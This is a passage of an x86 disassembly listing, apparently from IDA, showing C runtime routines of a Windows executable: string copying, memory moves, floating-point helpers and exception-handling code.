		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A


loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4


loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------


loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC


loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290


loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283


loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl


loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi


loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C


loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA3+15p
					; sub_40BFA3+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8


loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------


loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------


loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------


loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------


loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C47C:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx


loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------


loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEB+40p
					; .packed:0040E29Fp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D030+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A950
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------


loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722


loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: sub_41B784+9p
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4DB98C, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_43CF64, offset sub_421935
		mov	off_43CF60, eax
		mov	off_43CF68, offset sub_42199B
		mov	off_43CF6C, offset sub_4218DB
		mov	off_43CF70, offset sub_421983
		mov	off_43CF74, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D030+1Bp
					; sub_40D030+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07C+82p
					; sub_40D99B+3A1p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A968
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------


loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868


loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C868:				; CODE XREF: sub_41C7BF+99j
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: sub_422111+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C	; RtlUnwind


loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_41C8D0	endp

; ---------------------------------------------------------------------------


loc_41C91F:				; CODE XREF: .packed:00426DFCj
					; .packed:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DB9E4
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------


loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
